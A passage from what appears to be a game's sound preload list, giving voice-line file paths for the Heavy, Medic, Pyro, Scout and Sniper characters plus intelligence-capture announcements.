+vo/heavy_laughevil02.wav +vo/heavy_laughevil03.wav +vo/heavy_laughevil04.wav +vo/heavy_laughhappy01.wav +vo/heavy_laughhappy02.wav +vo/heavy_laughhappy03.wav +vo/heavy_laughhappy04.wav +vo/heavy_laughhappy05.wav +vo/heavy_laughlong01.wav +vo/heavy_laughlong02.wav +vo/heavy_laughshort01.wav +vo/heavy_laughshort02.wav +vo/heavy_laughshort03.wav +vo/heavy_laughterbig01.wav +vo/heavy_laughterbig02.wav +vo/heavy_laughterbig03.wav +vo/heavy_laughterbig04.wav +vo/heavy_medic01.wav +vo/heavy_medic02.wav +vo/heavy_medic03.wav +vo/heavy_medicfollow01.wav +vo/heavy_medicfollow02.wav +vo/heavy_medicfollow03.wav +vo/heavy_medicfollow04.wav +vo/heavy_medicfollow05.wav +vo/heavy_medicfollow06.wav +vo/heavy_medicfollow07.wav +vo/heavy_meleedare01.wav +vo/heavy_meleedare02.wav +vo/heavy_meleedare03.wav +vo/heavy_meleedare04.wav +vo/heavy_meleedare05.wav +vo/heavy_meleedare06.wav +vo/heavy_meleedare07.wav +vo/heavy_meleedare08.wav +vo/heavy_meleedare09.wav +vo/heavy_meleedare10.wav +vo/heavy_meleedare11.wav +vo/heavy_meleedare12.wav +vo/heavy_meleedare13.wav +vo/heavy_meleeing01.wav +vo/heavy_meleeing02.wav +vo/heavy_meleeing03.wav +vo/heavy_meleeing04.wav +vo/heavy_meleeing05.wav +vo/heavy_meleeing06.wav +vo/heavy_meleeing07.wav +vo/heavy_meleeing08.wav +vo/heavy_moveup01.wav +vo/heavy_moveup02.wav +vo/heavy_moveup03.wav +vo/heavy_needdispenser01.wav +vo/heavy_needsentry01.wav +vo/heavy_needteleporter01.wav +vo/heavy_negativevocalization01.wav +vo/heavy_negativevocalization02.wav +vo/heavy_negativevocalization03.wav +vo/heavy_negativevocalization04.wav +vo/heavy_negativevocalization05.wav +vo/heavy_negativevocalization06.wav +vo/heavy_niceshot01.wav +vo/heavy_niceshot02.wav +vo/heavy_niceshot03.wav +vo/heavy_no01.wav +vo/heavy_no02.wav +vo/heavy_no03.wav +vo/heavy_paincrticialdeath01.wav +vo/heavy_paincrticialdeath02.wav +vo/heavy_paincrticialdeath03.wav +vo/heavy_painsevere01.wav +vo/heavy_painsevere02.wav +vo/heavy_painsevere03.wav +vo/heavy_painsharp01.wav +vo/heavy_painsharp02.wav +vo/heavy_painsharp03.wav +vo/heavy_painsharp04.wav +vo/heavy_painsharp05.wav +vo/heavy_positivevocalization01.wav +vo/heavy_positivevocalization02.wav +vo/heavy_positivevocalization03.wav +vo/heavy_positivevocalization04.wav +vo/heavy_positivevocalization05.wav +vo/heavy_revenge01.wav +vo/heavy_revenge02.wav +vo/heavy_revenge03.wav +vo/heavy_revenge04.wav +vo/heavy_revenge05.wav +vo/heavy_revenge06.wav +vo/heavy_revenge07.wav +vo/heavy_revenge08.wav +vo/heavy_revenge09.wav +vo/heavy_revenge10.wav +vo/heavy_revenge11.wav +vo/heavy_revenge12.wav +vo/heavy_revenge13.wav +vo/heavy_revenge14.wav +vo/heavy_revenge15.wav +vo/heavy_sandwichtaunt01.wav +vo/heavy_sandwichtaunt02.wav +vo/heavy_sandwichtaunt03.wav +vo/heavy_sandwichtaunt04.wav +vo/heavy_sandwichtaunt05.wav +vo/heavy_sandwichtaunt06.wav +vo/heavy_sandwichtaunt07.wav +vo/heavy_sandwichtaunt08.wav +vo/heavy_sandwichtaunt09.wav +vo/heavy_sandwichtaunt10.wav +vo/heavy_sandwichtaunt11.wav +vo/heavy_sandwichtaunt12.wav +vo/heavy_sandwichtaunt13.wav +vo/heavy_sandwichtaunt14.wav +vo/heavy_sandwichtaunt15.wav +vo/heavy_sandwichtaunt16.wav +vo/heavy_sandwichtaunt17.wav +vo/heavy_sentryahead01.wav +vo/heavy_sentryahead02.wav +vo/heavy_singing01.wav +vo/heavy_singing02.wav +vo/heavy_singing03.wav +vo/heavy_singing04.wav +vo/heavy_singing05.wav +vo/heavy_specialcompleted-assistedkill01.wav +vo/heavy_specialcompleted01.wav +vo/heavy_specialcompleted02.wav +vo/heavy_specialcompleted03.wav +vo/heavy_specialcompleted04.wav +vo/heavy_specialcompleted05.wav +vo/heavy_specialcompleted06.wav +vo/heavy_specialcompleted07.wav +vo/heavy_specialcompleted08.wav +vo/heavy_specialcompleted09.wav +vo/heavy_specialcompleted10.wav +vo/heavy_specialcompleted11.wav +vo/heavy_specials01.wav +vo/heavy_specials02.wav +vo/heavy_specials03.wav +vo/heavy_specials04.wav +vo/heavy_specials05.wav +vo/heavy_specialweapon01.wav +vo/heavy_specialweapon02.wav +vo/heavy_specialweapon03.wav +vo/heavy_specialweapon04.wav +vo/heavy_specialweapon05.wav +vo/heavy_specialweapon06.wav +vo/heavy_specialweapon07.wav +vo/heavy_specialweapon08.wav +vo/heavy_specialweapon09.wav +vo/heavy_standonthepoint01.wav +vo/heavy_standonthepoint02.wav +vo/heavy_standonthepoint03.wav +vo/heavy_standonthepoint04.wav +vo/heavy_thanks01.wav +vo/heavy_thanks02.wav +vo/heavy_thanks03.wav +vo/heavy_thanksfortheheal01.wav +vo/heavy_thanksfortheheal02.wav +vo/heavy_thanksfortheheal03.wav +vo/heavy_thanksfortheteleporter01.wav +vo/heavy_thanksfortheteleporter02.wav +vo/heavy_thanksfortheteleporter03.wav +vo/heavy_yell1.wav +vo/heavy_yell10.wav +vo/heavy_yell11.wav +vo/heavy_yell12.wav +vo/heavy_yell13.wav +vo/heavy_yell14.wav +vo/heavy_yell15.wav +vo/heavy_yell2.wav +vo/heavy_yell3.wav +vo/heavy_yell4.wav +vo/heavy_yell5.wav +vo/heavy_yell6.wav +vo/heavy_yell7.wav +vo/heavy_yell8.wav +vo/heavy_yell9.wav +vo/heavy_yes01.wav +vo/heavy_yes02.wav +vo/heavy_yes03.wav +vo/intel_enemycaptured.wav +vo/intel_enemycaptured2.wav +vo/intel_enemydropped.wav +vo/intel_enemydropped2.wav +vo/intel_enemyreturned.wav +vo/intel_enemyreturned2.wav +vo/intel_enemyreturned3.wav +vo/intel_enemystolen.wav +vo/intel_enemystolen2.wav +vo/intel_enemystolen3.wav +vo/intel_enemystolen4.wav +vo/intel_teamcaptured.wav +vo/intel_teamcaptured2.wav +vo/intel_teamdropped.wav +vo/intel_teamdropped2.wav +vo/intel_teamreturned.wav +vo/intel_teamstolen.wav +vo/medic1.wav +vo/medic2.wav +vo/medic_activatecharge01.wav +vo/medic_activatecharge02.wav +vo/medic_activatecharge03.wav +vo/medic_autocappedcontrolpoint01.wav +vo/medic_autocappedcontrolpoint02.wav +vo/medic_autocappedcontrolpoint03.wav +vo/medic_autocappedintelligence01.wav +vo/medic_autocappedintelligence02.wav +vo/medic_autocappedintelligence03.wav +vo/medic_autochargeready01.wav +vo/medic_autochargeready02.wav +vo/medic_autochargeready03.wav +vo/medic_autodejectedtie01.wav +vo/medic_autodejectedtie02.wav +vo/medic_autodejectedtie03.wav +vo/medic_autodejectedtie04.wav +vo/medic_autodejectedtie05.wav +vo/medic_autodejectedtie06.wav +vo/medic_autodejectedtie07.wav +vo/medic_autoonfire01.wav +vo/medic_autoonfire02.wav +vo/medic_autoonfire03.wav +vo/medic_autoonfire04.wav +vo/medic_autoonfire05.wav +vo/medic_battlecry01.wav +vo/medic_battlecry02.wav +vo/medic_battlecry03.wav +vo/medic_battlecry04.wav +vo/medic_battlecry05.wav +vo/medic_battlecry06.wav +vo/medic_cheers01.wav +vo/medic_cheers02.wav +vo/medic_cheers03.wav +vo/medic_cheers04.wav +vo/medic_cheers05.wav +vo/medic_cheers06.wav +vo/medic_cloakedspy01.wav +vo/medic_cloakedspy02.wav +vo/medic_cloakedspyidentify01.wav +vo/medic_cloakedspyidentify02.wav +vo/medic_cloakedspyidentify03.wav +vo/medic_cloakedspyidentify04.wav +vo/medic_cloakedspyidentify05.wav +vo/medic_cloakedspyidentify06.wav +vo/medic_cloakedspyidentify07.wav +vo/medic_cloakedspyidentify08.wav +vo/medic_cloakedspyidentify09.wav +vo/medic_go01.wav +vo/medic_go02.wav +vo/medic_go03.wav +vo/medic_go04.wav +vo/medic_go05.wav +vo/medic_goodjob01.wav +vo/medic_goodjob02.wav +vo/medic_goodjob03.wav +vo/medic_headleft01.wav +vo/medic_headleft02.wav +vo/medic_headleft03.wav +vo/medic_headright01.wav +vo/medic_headright02.wav +vo/medic_headright03.wav +vo/medic_helpme01.wav +vo/medic_helpme02.wav +vo/medic_helpme03.wav +vo/medic_helpmecapture01.wav +vo/medic_helpmecapture02.wav +vo/medic_helpmedefend01.wav +vo/medic_helpmedefend02.wav +vo/medic_helpmedefend03.wav +vo/medic_incoming01.wav +vo/medic_incoming02.wav +vo/medic_incoming03.wav +vo/medic_jeers01.wav +vo/medic_jeers02.wav +vo/medic_jeers03.wav +vo/medic_jeers04.wav +vo/medic_jeers05.wav +vo/medic_jeers06.wav +vo/medic_jeers07.wav +vo/medic_jeers08.wav +vo/medic_jeers09.wav +vo/medic_jeers10.wav +vo/medic_jeers11.wav +vo/medic_jeers12.wav +vo/medic_laughevil01.wav +vo/medic_laughevil02.wav +vo/medic_laughevil03.wav +vo/medic_laughevil04.wav +vo/medic_laughevil05.wav +vo/medic_laughhappy01.wav +vo/medic_laughhappy02.wav +vo/medic_laughhappy03.wav +vo/medic_laughlong01.wav +vo/medic_laughlong02.wav +vo/medic_laughshort01.wav +vo/medic_laughshort02.wav +vo/medic_laughshort03.wav +vo/medic_medic01.wav +vo/medic_medic02.wav +vo/medic_medic03.wav +vo/medic_moveup01.wav +vo/medic_moveup02.wav +vo/medic_needdispenser01.wav +vo/medic_needsentry01.wav +vo/medic_needteleporter01.wav +vo/medic_negativevocalization01.wav +vo/medic_negativevocalization02.wav +vo/medic_negativevocalization03.wav +vo/medic_negativevocalization04.wav +vo/medic_negativevocalization05.wav +vo/medic_negativevocalization06.wav +vo/medic_negativevocalization07.wav +vo/medic_niceshot01.wav +vo/medic_niceshot02.wav +vo/medic_no01.wav +vo/medic_no02.wav +vo/medic_no03.wav +vo/medic_paincrticialdeath01.wav +vo/medic_paincrticialdeath02.wav +vo/medic_paincrticialdeath03.wav +vo/medic_paincrticialdeath04.wav +vo/medic_painsevere01.wav +vo/medic_painsevere02.wav +vo/medic_painsevere03.wav +vo/medic_painsevere04.wav +vo/medic_painsharp01.wav +vo/medic_painsharp02.wav +vo/medic_painsharp03.wav +vo/medic_painsharp04.wav +vo/medic_painsharp05.wav +vo/medic_painsharp06.wav +vo/medic_painsharp07.wav +vo/medic_painsharp08.wav +vo/medic_positivevocalization01.wav +vo/medic_positivevocalization02.wav +vo/medic_positivevocalization03.wav +vo/medic_positivevocalization05.wav +vo/medic_positivevocalization06.wav +vo/medic_sentryahead01.wav +vo/medic_sentryahead02.wav +vo/medic_specialcompleted-assistedkill01.wav +vo/medic_specialcompleted-assistedkill02.wav +vo/medic_specialcompleted01.wav +vo/medic_specialcompleted02.wav +vo/medic_specialcompleted03.wav +vo/medic_specialcompleted04.wav +vo/medic_specialcompleted05.wav +vo/medic_specialcompleted06.wav +vo/medic_specialcompleted07.wav +vo/medic_specialcompleted08.wav +vo/medic_specialcompleted09.wav +vo/medic_specialcompleted10.wav +vo/medic_specialcompleted11.wav +vo/medic_specialcompleted12.wav +vo/medic_standonthepoint01.wav +vo/medic_standonthepoint02.wav +vo/medic_standonthepoint03.wav +vo/medic_standonthepoint04.wav +vo/medic_standonthepoint05.wav +vo/medic_thanks01.wav +vo/medic_thanks02.wav +vo/medic_thanksfortheheal01.wav +vo/medic_thanksfortheheal02.wav +vo/medic_thanksfortheteleporter01.wav +vo/medic_thanksfortheteleporter02.wav +vo/medic_thanksfortheteleporter03.wav +vo/medic_yes01.wav +vo/medic_yes02.wav +vo/medic_yes03.wav +vo/null.wav +vo/puff.wav +vo/pyro_activatecharge01.wav +vo/pyro_autocappedcontrolpoint01.wav +vo/pyro_autocappedintelligence01.wav +vo/pyro_autodejectedtie01.wav +vo/pyro_autoonfire01.wav +vo/pyro_autoonfire02.wav +vo/pyro_battlecry01.wav +vo/pyro_battlecry02.wav +vo/pyro_cheers01.wav +vo/pyro_cloakedspy01.wav +vo/pyro_cloakedspyidentify01.wav +vo/pyro_go01.wav +vo/pyro_goodjob01.wav +vo/pyro_headleft01.wav +vo/pyro_headright01.wav +vo/pyro_helpme01.wav +vo/pyro_helpmecapture01.wav +vo/pyro_helpmedefend01.wav +vo/pyro_incoming01.wav +vo/pyro_jeers01.wav +vo/pyro_jeers02.wav +vo/pyro_laughevil01.wav +vo/pyro_laughevil02.wav +vo/pyro_laughevil03.wav +vo/pyro_laughevil04.wav +vo/pyro_laughhappy01.wav +vo/pyro_laughlong01.wav +vo/pyro_laughshort01.wav +vo/pyro_medic01.wav +vo/pyro_moveup01.wav +vo/pyro_needdispenser01.wav +vo/pyro_needsentry01.wav +vo/pyro_needteleporter01.wav +vo/pyro_negativevocalization01.wav +vo/pyro_niceshot01.wav +vo/pyro_no01.wav +vo/pyro_paincrticialdeath01.wav +vo/pyro_paincrticialdeath02.wav +vo/pyro_paincrticialdeath03.wav +vo/pyro_painsevere01.wav +vo/pyro_painsevere02.wav +vo/pyro_painsevere03.wav +vo/pyro_painsevere04.wav +vo/pyro_painsevere05.wav +vo/pyro_painsevere06.wav +vo/pyro_painsharp01.wav +vo/pyro_painsharp02.wav +vo/pyro_painsharp03.wav +vo/pyro_painsharp04.wav +vo/pyro_painsharp05.wav +vo/pyro_painsharp06.wav +vo/pyro_painsharp07.wav +vo/pyro_positivevocalization01.wav +vo/pyro_sentryahead01.wav +vo/pyro_specialcompleted-assistedkill01.wav +vo/pyro_specialcompleted01.wav +vo/pyro_standonthepoint01.wav +vo/pyro_thanks01.wav +vo/pyro_thanksfortheheal01.wav +vo/pyro_thanksfortheteleporter01.wav +vo/pyro_yes01.wav +vo/SandwichEat09.wav +vo/scout_activatecharge01.wav +vo/scout_activatecharge02.wav +vo/scout_activatecharge03.wav +vo/scout_apexofjump01.wav +vo/scout_apexofjump02.wav +vo/scout_apexofjump03.wav +vo/scout_apexofjump04.wav +vo/scout_apexofjump05.wav +vo/scout_autocappedcontrolpoint01.wav +vo/scout_autocappedcontrolpoint02.wav +vo/scout_autocappedcontrolpoint03.wav +vo/scout_autocappedcontrolpoint04.wav +vo/scout_autocappedintelligence01.wav +vo/scout_autocappedintelligence02.wav +vo/scout_autocappedintelligence03.wav +vo/scout_autodejectedtie01.wav +vo/scout_autodejectedtie02.wav +vo/scout_autodejectedtie03.wav +vo/scout_autodejectedtie04.wav +vo/scout_autoonfire01.wav +vo/scout_autoonfire02.wav +vo/scout_award01.wav +vo/scout_award02.wav +vo/scout_award03.wav +vo/scout_award04.wav +vo/scout_award05.wav +vo/scout_award07.wav +vo/scout_award08.wav +vo/scout_award09.wav +vo/scout_award10.wav +vo/scout_award11.wav +vo/scout_award12.wav +vo/scout_battlecry01.wav +vo/scout_battlecry02.wav +vo/scout_battlecry03.wav +vo/scout_battlecry04.wav +vo/scout_battlecry05.wav +vo/scout_beingshotinvincible01.wav +vo/scout_beingshotinvincible02.wav +vo/scout_beingshotinvincible03.wav +vo/scout_beingshotinvincible04.wav +vo/scout_beingshotinvincible05.wav +vo/scout_beingshotinvincible06.wav +vo/scout_beingshotinvincible07.wav +vo/scout_beingshotinvincible08.wav +vo/scout_beingshotinvincible09.wav +vo/scout_beingshotinvincible10.wav +vo/scout_beingshotinvincible11.wav +vo/scout_beingshotinvincible12.wav +vo/scout_beingshotinvincible13.wav +vo/scout_beingshotinvincible14.wav +vo/scout_beingshotinvincible15.wav +vo/scout_beingshotinvincible16.wav +vo/scout_beingshotinvincible17.wav +vo/scout_beingshotinvincible18.wav +vo/scout_beingshotinvincible19.wav +vo/scout_beingshotinvincible20.wav +vo/scout_beingshotinvincible21.wav +vo/scout_beingshotinvincible22.wav +vo/scout_beingshotinvincible23.wav +vo/scout_beingshotinvincible24.wav +vo/scout_beingshotinvincible25.wav +vo/scout_beingshotinvincible26.wav +vo/scout_beingshotinvincible27.wav +vo/scout_beingshotinvincible28.wav +vo/scout_beingshotinvincible29.wav +vo/scout_beingshotinvincible30.wav +vo/scout_beingshotinvincible31.wav +vo/scout_beingshotinvincible32.wav +vo/scout_beingshotinvincible33.wav +vo/scout_beingshotinvincible34.wav +vo/scout_beingshotinvincible35.wav +vo/scout_beingshotinvincible36.wav +vo/scout_cartgoingbackdefense01.wav +vo/scout_cartgoingbackdefense02.wav +vo/scout_cartgoingbackdefense03.wav +vo/scout_cartgoingbackdefense04.wav +vo/scout_cartgoingbackdefense05.wav +vo/scout_cartgoingbackdefense06.wav +vo/scout_cartgoingbackoffense01.wav +vo/scout_cartgoingbackoffense02.wav +vo/scout_cartgoingbackoffense03.wav +vo/scout_cartgoingbackoffense04.wav +vo/scout_cartgoingbackoffense05.wav +vo/scout_cartgoingbackoffense06.wav +vo/scout_cartgoingbackoffense07.wav +vo/scout_cartgoingbackoffense08.wav +vo/scout_cartmovingforwarddefense01.wav +vo/scout_cartmovingforwarddefense02.wav +vo/scout_cartmovingforwarddefense03.wav +vo/scout_cartmovingforwarddefense04.wav +vo/scout_cartmovingforwarddefense05.wav +vo/scout_cartmovingforwarddefense06.wav +vo/scout_cartmovingforwardoffense01.wav +vo/scout_cartmovingforwardoffense02.wav +vo/scout_cartmovingforwardoffense03.wav +vo/scout_cartmovingforwardoffense04.wav +vo/scout_cartmovingforwardoffense05.wav +vo/scout_cartmovingforwardoffense06.wav +vo/scout_cartstaycloseoffense01.wav +vo/scout_cartstaycloseoffense02.wav +vo/scout_cartstaycloseoffense03.wav +vo/scout_cartstaycloseoffense04.wav +vo/scout_cartstaycloseoffense05.wav +vo/scout_cartstaycloseoffense06.wav +vo/scout_cartstopitdefense01.wav +vo/scout_cartstopitdefense02.wav +vo/scout_cartstopitdefense03.wav +vo/scout_cartstoppedoffense01.wav +vo/scout_cartstoppedoffense02.wav +vo/scout_cartstoppedoffense03.wav +vo/scout_cheers01.wav +vo/scout_cheers02.wav +vo/scout_cheers03.wav +vo/scout_cheers04.wav +vo/scout_cheers05.wav +vo/scout_cheers06.wav +vo/scout_cloakedspy01.wav +vo/scout_cloakedspy02.wav +vo/scout_cloakedspy03.wav +vo/scout_cloakedspy04.wav +vo/scout_cloakedspyidentify01.wav +vo/scout_cloakedspyidentify02.wav +vo/scout_cloakedspyidentify03.wav +vo/scout_cloakedspyidentify04.wav +vo/scout_cloakedspyidentify05.wav +vo/scout_cloakedspyidentify06.wav +vo/scout_cloakedspyidentify07.wav +vo/scout_cloakedspyidentify08.wav +vo/scout_cloakedspyidentify09.wav +vo/scout_domination01.wav +vo/scout_domination02.wav +vo/scout_domination03.wav +vo/scout_domination04.wav +vo/scout_domination05.wav +vo/scout_domination06.wav +vo/scout_domination07.wav +vo/scout_domination08.wav +vo/scout_domination09.wav +vo/scout_domination10.wav +vo/scout_domination12.wav +vo/scout_domination13.wav +vo/scout_domination14.wav +vo/scout_domination15.wav +vo/scout_domination16.wav +vo/scout_domination17.wav +vo/scout_domination19.wav +vo/scout_domination20.wav +vo/scout_domination21.wav +vo/scout_dominationdem01.wav +vo/scout_dominationdem02.wav +vo/scout_dominationdem03.wav +vo/scout_dominationdem04.wav +vo/scout_dominationdem05.wav +vo/scout_dominationeng01.wav +vo/scout_dominationeng02.wav +vo/scout_dominationeng03.wav +vo/scout_dominationeng04.wav +vo/scout_dominationeng05.wav +vo/scout_dominationeng06.wav +vo/scout_dominationhvy01.wav +vo/scout_dominationhvy02.wav +vo/scout_dominationhvy03.wav +vo/scout_dominationhvy04.wav +vo/scout_dominationhvy05.wav +vo/scout_dominationhvy06.wav +vo/scout_dominationhvy07.wav +vo/scout_dominationhvy08.wav +vo/scout_dominationhvy09.wav +vo/scout_dominationhvy10.wav +vo/scout_dominationmed01.wav +vo/scout_dominationmed02.wav +vo/scout_dominationmed03.wav +vo/scout_dominationmed04.wav +vo/scout_dominationmed05.wav +vo/scout_dominationmed06.wav +vo/scout_dominationpyr01.wav +vo/scout_dominationpyr02.wav +vo/scout_dominationpyr03.wav +vo/scout_dominationpyr04.wav +vo/scout_dominationpyr05.wav +vo/scout_dominationpyr06.wav +vo/scout_dominationsct01.wav +vo/scout_dominationsct02.wav +vo/scout_dominationsct03.wav +vo/scout_dominationsnp01.wav +vo/scout_dominationsnp02.wav +vo/scout_dominationsnp03.wav +vo/scout_dominationsnp04.wav +vo/scout_dominationsnp05.wav +vo/scout_dominationsol01.wav +vo/scout_dominationsol02.wav +vo/scout_dominationsol03.wav +vo/scout_dominationsol04.wav +vo/scout_dominationsol05.wav +vo/scout_dominationsol06.wav +vo/scout_dominationspy01.wav +vo/scout_dominationspy02.wav +vo/scout_dominationspy03.wav +vo/scout_dominationspy04.wav +vo/scout_fightoncap01.wav +vo/scout_fightoncap02.wav +vo/scout_fightoncap03.wav +vo/scout_fightoncap04.wav +vo/scout_generic01.wav +vo/scout_go01.wav +vo/scout_go02.wav +vo/scout_go03.wav +vo/scout_go04.wav +vo/scout_goodjob01.wav +vo/scout_goodjob02.wav +vo/scout_goodjob03.wav +vo/scout_goodjob04.wav +vo/scout_headleft01.wav +vo/scout_headleft02.wav +vo/scout_headleft03.wav +vo/scout_headright01.wav +vo/scout_headright02.wav +vo/scout_headright03.wav +vo/scout_helpme01.wav +vo/scout_helpme02.wav +vo/scout_helpme03.wav +vo/scout_helpme04.wav +vo/scout_helpmecapture01.wav +vo/scout_helpmecapture02.wav +vo/scout_helpmecapture03.wav +vo/scout_helpmedefend01.wav +vo/scout_helpmedefend02.wav +vo/scout_helpmedefend03.wav +vo/scout_incoming01.wav +vo/scout_incoming02.wav +vo/scout_incoming03.wav +vo/scout_invincible01.wav +vo/scout_invincible02.wav +vo/scout_invincible03.wav +vo/scout_invincible04.wav +vo/scout_invinciblechgunderfire01.wav +vo/scout_invinciblechgunderfire02.wav +vo/scout_invinciblechgunderfire03.wav +vo/scout_invinciblechgunderfire04.wav +vo/scout_invinciblenotready01.wav +vo/scout_invinciblenotready02.wav +vo/scout_invinciblenotready03.wav +vo/scout_invinciblenotready05.wav +vo/scout_invinciblenotready06.wav +vo/scout_invinciblenotready07.wav +vo/scout_jeers02.wav +vo/scout_jeers03.wav +vo/scout_jeers04.wav +vo/scout_jeers05.wav +vo/scout_jeers06.wav +vo/scout_jeers07.wav +vo/scout_jeers08.wav +vo/scout_jeers09.wav +vo/scout_jeers10.wav +vo/scout_jeers11.wav +vo/scout_jeers12.wav +vo/scout_laughevil01.wav +vo/scout_laughevil02.wav +vo/scout_laughevil03.wav +vo/scout_laughhappy01.wav +vo/scout_laughhappy02.wav +vo/scout_laughhappy03.wav +vo/scout_laughhappy04.wav +vo/scout_laughlong01.wav +vo/scout_laughlong02.wav +vo/scout_laughshort01.wav +vo/scout_laughshort02.wav +vo/scout_laughshort03.wav +vo/scout_laughshort04.wav +vo/scout_laughshort05.wav +vo/scout_medic01.wav +vo/scout_medic02.wav +vo/scout_medic03.wav +vo/scout_medicfollow01.wav +vo/scout_medicfollow02.wav +vo/scout_medicfollow03.wav +vo/scout_medicfollow04.wav +vo/scout_meleedare01.wav +vo/scout_meleedare02.wav +vo/scout_meleedare03.wav +vo/scout_meleedare04.wav +vo/scout_meleedare05.wav +vo/scout_meleedare06.wav +vo/scout_misc02.wav +vo/scout_misc03.wav +vo/scout_misc04.wav +vo/scout_misc05.wav +vo/scout_misc07.wav +vo/scout_misc08.wav +vo/scout_misc09.wav +vo/scout_moveup01.wav +vo/scout_moveup02.wav +vo/scout_moveup03.wav +vo/scout_needdispenser01.wav +vo/scout_needsentry01.wav +vo/scout_needteleporter01.wav +vo/scout_negativevocalization01.wav +vo/scout_negativevocalization02.wav +vo/scout_negativevocalization03.wav +vo/scout_negativevocalization04.wav +vo/scout_negativevocalization05.wav +vo/scout_niceshot01.wav +vo/scout_niceshot02.wav +vo/scout_niceshot03.wav +vo/scout_no01.wav +vo/scout_no02.wav +vo/scout_no03.wav +vo/scout_paincrticialdeath01.wav +vo/scout_paincrticialdeath02.wav +vo/scout_paincrticialdeath03.wav +vo/scout_painsevere01.wav +vo/scout_painsevere02.wav +vo/scout_painsevere03.wav +vo/scout_painsevere04.wav +vo/scout_painsevere05.wav +vo/scout_painsevere06.wav +vo/scout_painsharp01.wav +vo/scout_painsharp02.wav +vo/scout_painsharp03.wav +vo/scout_painsharp04.wav +vo/scout_painsharp05.wav +vo/scout_painsharp06.wav +vo/scout_painsharp07.wav +vo/scout_painsharp08.wav +vo/scout_positivevocalization01.wav +vo/scout_positivevocalization02.wav +vo/scout_positivevocalization03.wav +vo/scout_positivevocalization04.wav +vo/scout_positivevocalization05.wav +vo/scout_revenge01.wav +vo/scout_revenge02.wav +vo/scout_revenge03.wav +vo/scout_revenge04.wav +vo/scout_revenge05.wav +vo/scout_revenge06.wav +vo/scout_revenge07.wav +vo/scout_revenge08.wav +vo/scout_revenge09.wav +vo/scout_sentryahead01.wav +vo/scout_sentryahead02.wav +vo/scout_sentryahead03.wav +vo/scout_specialcompleted-assistedkill01.wav +vo/scout_specialcompleted-assistedkill02.wav +vo/scout_specialcompleted01.wav +vo/scout_specialcompleted02.wav +vo/scout_specialcompleted03.wav +vo/scout_specialcompleted04.wav +vo/scout_specialcompleted05.wav +vo/scout_specialcompleted06.wav +vo/scout_specialcompleted07.wav +vo/scout_specialcompleted09.wav +vo/scout_specialcompleted10.wav +vo/scout_specialcompleted11.wav +vo/scout_specialcompleted12.wav +vo/scout_standonthepoint01.wav +vo/scout_standonthepoint02.wav +vo/scout_standonthepoint03.wav +vo/scout_standonthepoint04.wav +vo/scout_standonthepoint05.wav +vo/scout_stunballhit01.wav +vo/scout_stunballhit02.wav +vo/scout_stunballhit03.wav +vo/scout_stunballhit04.wav +vo/scout_stunballhit05.wav +vo/scout_stunballhit06.wav +vo/scout_stunballhit07.wav +vo/scout_stunballhit08.wav +vo/scout_stunballhit09.wav +vo/scout_stunballhit10.wav +vo/scout_stunballhit11.wav +vo/scout_stunballhit12.wav +vo/scout_stunballhit13.wav +vo/scout_stunballhit14.wav +vo/scout_stunballhit15.wav +vo/scout_stunballhit16.wav +vo/scout_stunballhittingit01.wav +vo/scout_stunballhittingit02.wav +vo/scout_stunballhittingit04.wav +vo/scout_stunballhittingit05.wav +vo/scout_stunballpickup01.wav +vo/scout_stunballpickup02.wav +vo/scout_stunballpickup03.wav +vo/scout_stunballpickup04.wav +vo/scout_stunballpickup05.wav +vo/scout_thanks01.wav +vo/scout_thanks02.wav +vo/scout_thanksfortheheal01.wav +vo/scout_thanksfortheheal02.wav +vo/scout_thanksfortheheal03.wav +vo/scout_thanksfortheteleporter01.wav +vo/scout_thanksfortheteleporter02.wav +vo/scout_thanksfortheteleporter03.wav +vo/scout_triplejump01.wav +vo/scout_triplejump02.wav +vo/scout_triplejump03.wav +vo/scout_triplejump04.wav +vo/scout_yes01.wav +vo/scout_yes02.wav +vo/scout_yes03.wav +vo/sniper_activatecharge01.wav +vo/sniper_activatecharge02.wav +vo/sniper_activatecharge03.wav +vo/sniper_activatecharge04.wav +vo/sniper_autocappedcontrolpoint01.wav +vo/sniper_autocappedcontrolpoint02.wav +vo/sniper_autocappedcontrolpoint03.wav +vo/sniper_autocappedintelligence01.wav +vo/sniper_autocappedintelligence02.wav +vo/sniper_autocappedintelligence03.wav +vo/sniper_autocappedintelligence04.wav +vo/sniper_autocappedintelligence05.wav +vo/sniper_autodejectedtie01.wav +vo/sniper_autodejectedtie02.wav +vo/sniper_autodejectedtie03.wav +vo/sniper_autoonfire01.wav +vo/sniper_autoonfire02.wav +vo/sniper_autoonfire03.wav +vo/sniper_award01.wav +vo/sniper_award02.wav +vo/sniper_award03.wav +vo/sniper_award04.wav +vo/sniper_award05.wav +vo/sniper_award06.wav +vo/sniper_award07.wav +vo/sniper_award08.wav +vo/sniper_award09.wav +vo/sniper_award10.wav +vo/sniper_award11.wav +vo/sniper_award12.wav +vo/sniper_award13.wav +vo/sniper_award14.wav +vo/sniper_battlecry01.wav +vo/sniper_battlecry02.wav +vo/sniper_battlecry03.wav +vo/sniper_battlecry04.wav +vo/sniper_battlecry05.wav +vo/sniper_battlecry06.wav +vo/sniper_cartgoingbackdefense01.wav +vo/sniper_cartgoingbackdefense02.wav +vo/sniper_cartgoingbackdefense03.wav +vo/sniper_cartgoingbackdefense04.wav +vo/sniper_cartgoingbackdefense05.wav +vo/sniper_cartgoingbackdefense06.wav +vo/sniper_cartgoingbackdefense07.wav +vo/sniper_cartgoingbackdefense08.wav +vo/sniper_cartgoingbackdefensesoft01.wav +vo/sniper_cartgoingbackdefensesoft02.wav +vo/sniper_cartgoingbackdefensesoft03.wav +vo/sniper_cartgoingbackdefensesoft04.wav +vo/sniper_cartgoingbackdefensesoft05.wav +vo/sniper_cartgoingbackdefensesoft06.wav +vo/sniper_cartgoingbackdefensesoft07.wav +vo/sniper_cartgoingbackdefensesoft08.wav +vo/sniper_cartgoingbackoffense01.wav +vo/sniper_cartgoingbackoffense02.wav +vo/sniper_cartgoingbackoffense03.wav +vo/sniper_cartgoingbackoffense04.wav +vo/sniper_cartgoingbackoffense05.wav +vo/sniper_cartgoingbackoffense06.wav +vo/sniper_cartgoingbackoffense07.wav +vo/sniper_cartgoingbackoffensesoft01.wav +vo/sniper_cartgoingbackoffensesoft02.wav +vo/sniper_cartgoingbackoffensesoft03.wav +vo/sniper_cartgoingbackoffensesoft04.wav +vo/sniper_cartgoingbackoffensesoft05.wav +vo/sniper_cartgoingbackoffensesoft06.wav +vo/sniper_cartgoingbackoffensesoft07.wav +vo/sniper_cartmovingforwarddefense01.wav +vo/sniper_cartmovingforwarddefense02.wav 